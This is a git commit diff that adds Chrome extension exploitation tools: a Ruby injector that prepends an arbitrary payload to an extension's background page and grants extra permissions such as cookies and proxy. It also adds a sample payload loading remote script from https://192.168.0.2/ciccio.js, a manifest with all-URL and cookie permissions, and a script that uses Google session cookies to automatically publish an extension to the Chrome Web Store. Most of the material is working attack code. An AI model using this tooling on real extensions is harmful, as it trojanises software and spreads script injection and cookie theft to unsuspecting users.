Added Chrome Extension exploitation tools from me and Kkotowicz.
This commit is contained in:
@@ -0,0 +1,135 @@
|
||||
#!/usr/bin/env ruby
|
||||
# encoding: UTF-8
|
||||
|
||||
# Authors:
|
||||
# Krzysztof Kotowicz - @kkotowicz
|
||||
|
||||
require 'rubygems'
|
||||
require 'json'
|
||||
require 'securerandom'
|
||||
|
||||
class ChromeExtensionToolkit
|
||||
@ext = ''
|
||||
@manifest
|
||||
BCG_SCRIPT = 1
|
||||
BCG_PAGE = 2
|
||||
|
||||
def initialize(extpath)
|
||||
raise ArgumentError, "Empty extension path" unless extpath
|
||||
raise ArgumentError, "Invalid extension path" unless File.directory?(extpath)
|
||||
@ext = extpath
|
||||
end
|
||||
|
||||
def reload_manifest()
|
||||
f = get_file('manifest.json')
|
||||
manifest = File.read(f).sub("\xef\xbb\xbf", '')
|
||||
manifest = JSON.parse(manifest)
|
||||
set_manifest(manifest)
|
||||
return manifest
|
||||
end
|
||||
|
||||
def get_manifest()
|
||||
if @manifest
|
||||
return @manifest
|
||||
end
|
||||
|
||||
return reload_manifest()
|
||||
end
|
||||
|
||||
def set_manifest(manifest)
|
||||
@manifest = manifest
|
||||
end
|
||||
|
||||
def save_manifest()
|
||||
save_file('manifest.json', JSON.pretty_generate(@manifest))
|
||||
end
|
||||
|
||||
def save_file(file, contents)
|
||||
File.open(get_file(file), 'w') {|f| f.write contents }
|
||||
end
|
||||
|
||||
def get_file(file)
|
||||
return File.join(@ext, file)
|
||||
end
|
||||
|
||||
def assert_not_app()
|
||||
manifest = get_manifest()
|
||||
raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app']
|
||||
end
|
||||
|
||||
def inject_script(payload)
|
||||
assert_not_app()
|
||||
assert_background_page('injector_bg') # add page to extensions that don't have one
|
||||
bcg_file = get_file(get_background_page())
|
||||
|
||||
if File.exist?(bcg_file)
|
||||
bcg = File.read(bcg_file)
|
||||
else
|
||||
bcg = ""
|
||||
end
|
||||
|
||||
if not payload
|
||||
return bcg
|
||||
end
|
||||
|
||||
if bcg_file.end_with? ".js" # js file, just prepend payload
|
||||
return payload + ";" + bcg
|
||||
end
|
||||
|
||||
name = SecureRandom.hex + '.js'
|
||||
save_file(name, payload)
|
||||
return bcg.sub(/(\<head\>|\Z)/i, "\\1\n<script src=\"/#{name}\"></script>")
|
||||
end
|
||||
|
||||
def assert_background_page(default)
|
||||
manifest = get_manifest()
|
||||
if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2
|
||||
if manifest['background'].nil?
|
||||
manifest['background'] = {}
|
||||
end
|
||||
|
||||
if manifest['background']['page']
|
||||
return BCG_PAGE
|
||||
end
|
||||
|
||||
if not manifest['background']['scripts'].nil?
|
||||
manifest['background']['scripts'].unshift(default + '.js')
|
||||
set_manifest(manifest)
|
||||
return BCG_SCRIPT
|
||||
else
|
||||
|
||||
manifest['background']['scripts'] = [default + '.js']
|
||||
set_manifest(manifest)
|
||||
return BCG_SCRIPT
|
||||
end
|
||||
end
|
||||
if not manifest['background_page']
|
||||
manifest['background_page'] = default + '.html'
|
||||
end
|
||||
set_manifest(manifest)
|
||||
return BCG_PAGE
|
||||
end
|
||||
|
||||
def add_permissions(perms)
|
||||
manifest = get_manifest()
|
||||
manifest['permissions'] += perms
|
||||
manifest['permissions'].uniq!
|
||||
set_manifest(manifest)
|
||||
end
|
||||
|
||||
def get_background_page()
|
||||
manifest = get_manifest()
|
||||
if manifest['background'] and manifest['background']['page']
|
||||
return manifest['background']['page']
|
||||
end
|
||||
|
||||
if manifest['background'] and manifest['background']['scripts']
|
||||
return manifest['background']['scripts'][0]
|
||||
end
|
||||
|
||||
if manifest['background_page']
|
||||
return manifest['background_page']
|
||||
end
|
||||
raise RuntimeError, "No background page present"
|
||||
end
|
||||
end
|
||||
53
tools/chrome_extensions_exploitation/injector/inject.rb
Executable file
53
tools/chrome_extensions_exploitation/injector/inject.rb
Executable file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env ruby
|
||||
# encoding: UTF-8
|
||||
|
||||
# Authors:
|
||||
# Krzysztof Kotowicz - @kkotowicz
|
||||
|
||||
require_relative 'chrome_extension_toolkit.rb'
|
||||
|
||||
def help()
|
||||
puts "[-] Error. Usage: ruby inject.rb <extension-path> [permissions] < script.js"
|
||||
puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js"
|
||||
exit 1
|
||||
end
|
||||
|
||||
begin
|
||||
extpath = ARGV[0]
|
||||
if not extpath
|
||||
help()
|
||||
end
|
||||
t = ChromeExtensionToolkit.new(extpath)
|
||||
puts "Loaded extension in #{extpath}"
|
||||
|
||||
manifest = t.get_manifest()
|
||||
puts "Existing manifest: "
|
||||
puts manifest
|
||||
|
||||
# injecting any script from stdin
|
||||
puts "Reading payload..."
|
||||
payload = $stdin.read
|
||||
puts "Injecting payload..."
|
||||
|
||||
injected = t.inject_script(payload)
|
||||
|
||||
print injected
|
||||
|
||||
if ARGV[1]
|
||||
perms = ARGV[1].split(',')
|
||||
puts "Adding permissions #{ARGV[1]}..."
|
||||
t.add_permissions(perms)
|
||||
end
|
||||
|
||||
puts "Saving..."
|
||||
# write
|
||||
t.save_file(t.get_background_page(), injected)
|
||||
t.save_manifest()
|
||||
|
||||
puts "Done."
|
||||
|
||||
rescue Exception => e
|
||||
$stderr.puts e.message
|
||||
$stderr.puts e.backtrace.inspect
|
||||
exit 1
|
||||
end
|
||||
@@ -0,0 +1,22 @@
|
||||
# Authors:
|
||||
# Michele '@antisnatchor' Orru
|
||||
|
||||
# 1. Login at https://chrome.google.com/webstore/developer/dashboard/
|
||||
# 2. Pay your $5 one time fee
|
||||
# 3. Get SID, SSID, HSID cookies and paste their values below
|
||||
|
||||
# if you want to proxy request through Burp, USE_PROXY = true
|
||||
USE_PROXY = false
|
||||
PROXY_HOST = "127.0.0.1"
|
||||
PROXY_PORT = 9090
|
||||
|
||||
HTTP_READ_OPEN_TIMEOUT = 30 # seconds
|
||||
|
||||
G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX
|
||||
|
||||
# these are the only 3 session cookies needed, the rest of the cookies are not needed.
|
||||
# you get these cookies when you are successfully authenticated on
|
||||
SID = ""
|
||||
SSID = ""
|
||||
HSID = ""
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,5 @@
|
||||
d=document;
|
||||
e=d.createElement('script');
|
||||
e.src="https://192.168.0.2/ciccio.js";
|
||||
d.body.appendChild(e);
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.6 KiB |
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"name": "Test extension",
|
||||
"manifest_version": 2,
|
||||
"version": "1.0",
|
||||
"description": "Test extension",
|
||||
"background": {
|
||||
"scripts": ["background.js"]
|
||||
},
|
||||
"content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
|
||||
"icons": {
|
||||
"16": "icon16.png",
|
||||
"48": "icon48.png",
|
||||
"128": "icon128.png"
|
||||
},
|
||||
"permissions": [
|
||||
"tabs",
|
||||
"http://*/*",
|
||||
"https://*/*",
|
||||
"cookies"
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,289 @@
|
||||
# encoding: UTF-8
|
||||
require 'rubygems'
|
||||
require 'net/https'
|
||||
require 'json'
|
||||
require 'zip'
|
||||
require 'json'
|
||||
|
||||
# Authors:
|
||||
# Michele '@antisnatchor' Orru
|
||||
# Krzysztof Kotowicz - @kkotowicz
|
||||
# README:
|
||||
# Before running the script, make sure you change the following 4 variables in config.rb:
|
||||
# G_PUBLISHER_ID, SID, SSID, HSID
|
||||
#
|
||||
# You can retrieve all these values after you're successfully authenticated in the WebStore, see comments
|
||||
# in the config.rb.sample. Rename it ro config.rb when done.
|
||||
#
|
||||
|
||||
require_relative 'config.rb'
|
||||
|
||||
def help()
|
||||
puts "[-] Error. Usage: ruby webstore_upload.rb <zip_file_name> <publish|save> [description_file] [screenshot_file]"
|
||||
exit 1
|
||||
end
|
||||
|
||||
zip_name = ARGV[0]
|
||||
if zip_name == nil
|
||||
help()
|
||||
end
|
||||
EXT_ZIP_NAME = zip_name
|
||||
|
||||
mode = ARGV[1]
|
||||
action = nil
|
||||
if mode == nil
|
||||
help()
|
||||
elsif mode == "publish"
|
||||
action = "publish"
|
||||
elsif mode == "save"
|
||||
action = "save_and_return_to_dashboard"
|
||||
#action = "save"
|
||||
else
|
||||
help()
|
||||
end
|
||||
ACTION = action
|
||||
|
||||
if !File.exists?(EXT_ZIP_NAME)
|
||||
puts "[-] Error: #{EXT_ZIP_NAME} does not exist"
|
||||
help()
|
||||
end
|
||||
|
||||
if ARGV[2] != nil and File.exists?(ARGV[2])
|
||||
DESCRIPTION = File.new(ARGV[2]).read()
|
||||
puts "[*] Using description from #{ARGV[2]}"
|
||||
else
|
||||
DESCRIPTION = ""
|
||||
end
|
||||
|
||||
if ARGV[3] != nil and File.exists?(ARGV[3])
|
||||
SCREENSHOT_NAME = ARGV[3]
|
||||
puts "[*] Using screenshot from #{SCREENSHOT_NAME}"
|
||||
end
|
||||
|
||||
# general get/post request handler
|
||||
def request(uri, method, headers, post_body)
|
||||
uri = URI(uri)
|
||||
http = nil
|
||||
if USE_PROXY
|
||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
||||
else
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
end
|
||||
|
||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
|
||||
request = nil
|
||||
if method == "POST"
|
||||
request = Net::HTTP::Post.new(uri.request_uri, headers)
|
||||
if post_body.is_a?(Hash)
|
||||
request.set_form_data(post_body) # post_body as in: {"key" => "value"}
|
||||
else
|
||||
request.body = post_body # post_body as in: {"key" => "value"}
|
||||
end
|
||||
else # otherwise GET
|
||||
request = Net::HTTP::Get.new(uri.request_uri, headers)
|
||||
end
|
||||
|
||||
begin
|
||||
response = http.request(request)
|
||||
|
||||
case response
|
||||
when Net::HTTPSuccess
|
||||
then
|
||||
return response
|
||||
when Net::HTTPRedirection # if you get a 3xx response
|
||||
then
|
||||
return response
|
||||
else
|
||||
return nil
|
||||
end
|
||||
rescue SocketError => se # domain not resolved
|
||||
return nil
|
||||
rescue Timeout::Error => timeout # timeout in open/read
|
||||
return nil
|
||||
rescue Errno::ECONNREFUSED => refused # connection refused
|
||||
return nil
|
||||
rescue Exception => e
|
||||
#puts e.message
|
||||
#puts e.backtrace
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# raw request to upload the extension.zip file data
|
||||
def request_octetstream(uri, headers)
|
||||
file = File.new(EXT_ZIP_NAME)
|
||||
|
||||
uri = URI(uri)
|
||||
req = Net::HTTP::Post.new(uri.request_uri, headers)
|
||||
|
||||
post_body = []
|
||||
post_body << File.read(file)
|
||||
req.body = post_body.join
|
||||
req["Content-Type"] = "application/octet-stream"
|
||||
|
||||
http = nil
|
||||
if USE_PROXY
|
||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
||||
else
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
end
|
||||
|
||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
response = http.request(req)
|
||||
return response
|
||||
end
|
||||
|
||||
# defaults to English Language and Productivity category
|
||||
def send_publish_request(uri, cx_auth_t, headers, action="publish")
|
||||
|
||||
uri = URI(uri)
|
||||
req = Net::HTTP::Post.new(uri.request_uri, headers)
|
||||
boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s)
|
||||
|
||||
fields = {
|
||||
"action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "",
|
||||
"official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1",
|
||||
"cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1",
|
||||
"cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1",
|
||||
"cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1",
|
||||
"cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1",
|
||||
"cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1",
|
||||
"cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1",
|
||||
"language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC",
|
||||
"ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "",
|
||||
}
|
||||
|
||||
post_body = []
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
fields.each do |key,value|
|
||||
if key == "screenshot"
|
||||
# screenshot must be treated differently
|
||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n"
|
||||
post_body << "Content-Type: application/octet-stream\r\n\r\n"
|
||||
post_body << (value ? File.read(value) : '')
|
||||
post_body << "\r\n"
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
next
|
||||
elsif key == "logo128-image"
|
||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n"
|
||||
post_body << "Content-Type: application/octet-stream\r\n\r\n"
|
||||
post_body << ICON
|
||||
post_body << "\r\n"
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
next
|
||||
end
|
||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n"
|
||||
post_body << "\r\n"
|
||||
post_body << "#{value}\r\n"
|
||||
if key == "logo128-image"
|
||||
post_body << "-----------------------------#{boundary}--\r\n"
|
||||
break
|
||||
else
|
||||
post_body << "-----------------------------#{boundary}\r\n"
|
||||
end
|
||||
end
|
||||
|
||||
req.body = post_body.join
|
||||
|
||||
|
||||
req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}"
|
||||
|
||||
http = nil
|
||||
if USE_PROXY
|
||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
||||
else
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
end
|
||||
|
||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
response = http.request(req)
|
||||
return response
|
||||
end
|
||||
|
||||
puts "[+] Reading manifest..."
|
||||
Zip::File.open(EXT_ZIP_NAME) do |zip_file|
|
||||
entry = zip_file.glob('manifest.json').first
|
||||
manifest = JSON.parse(entry.get_input_stream.read)
|
||||
ICON_NAME = manifest['icons']['128']
|
||||
puts "[+] Found icon: #{ICON_NAME}"
|
||||
ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read
|
||||
ICON.force_encoding 'utf-8'
|
||||
end
|
||||
|
||||
upload_url = "https://chrome.google.com/webstore/developer/upload"
|
||||
post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+
|
||||
'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+
|
||||
'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+
|
||||
'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+
|
||||
'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}'
|
||||
|
||||
auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"}
|
||||
|
||||
upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body)
|
||||
upload_status = JSON.parse(upload_auth_resp.body)
|
||||
if upload_status['errorMessage'] == nil
|
||||
upload_id = upload_status['sessionStatus']['upload_id']
|
||||
upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000"
|
||||
|
||||
puts "[+] Uploading ZIP..."
|
||||
response = request_octetstream(upload_url, auth_headers)
|
||||
|
||||
upload_status = JSON.parse(response.body)
|
||||
if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED"
|
||||
extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id']
|
||||
puts "[+] Extension uploaded successful. Extension ID: #{extension_id}"
|
||||
|
||||
# Last request, to Publish the extension, requires Language/Category to be set.
|
||||
# A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value,
|
||||
# then send the final multipart/form-data request with that value inside.
|
||||
puts "[+] Fetching edit page..."
|
||||
edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}"
|
||||
edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil)
|
||||
|
||||
cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first
|
||||
if cx_action_t.index('<') != nil # error
|
||||
puts ['[-] Error: Session invalid, update cookies values']
|
||||
exit 1
|
||||
end
|
||||
puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}"
|
||||
puts "[+] Sending #{ACTION} request..."
|
||||
edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION)
|
||||
|
||||
if edit_ext_resp.is_a?(Net::HTTPRedirection)
|
||||
puts "[+] Extension details (category/language) updated."
|
||||
final_location = edit_ext_resp['Location']
|
||||
if ACTION == 'publish'
|
||||
puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}"
|
||||
else
|
||||
puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}"
|
||||
end
|
||||
else
|
||||
if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:<ul>')
|
||||
errors = edit_ext_resp.body.split("Please fix the following errors:<ul>").last.split("</ul>").first.gsub(/<[^>]*>/ui,' ')
|
||||
puts "[-] Errors: #{errors}"
|
||||
end
|
||||
puts "[-] Error updating extension details. Anyway, the extension is uploaded."
|
||||
end
|
||||
else
|
||||
puts "[-] Error: #{upload_status['errorMessage']}"
|
||||
end
|
||||
|
||||
else
|
||||
puts "[-] Error: #{upload_status['errorMessage']}"
|
||||
end
|
||||
Reference in New Issue
Block a user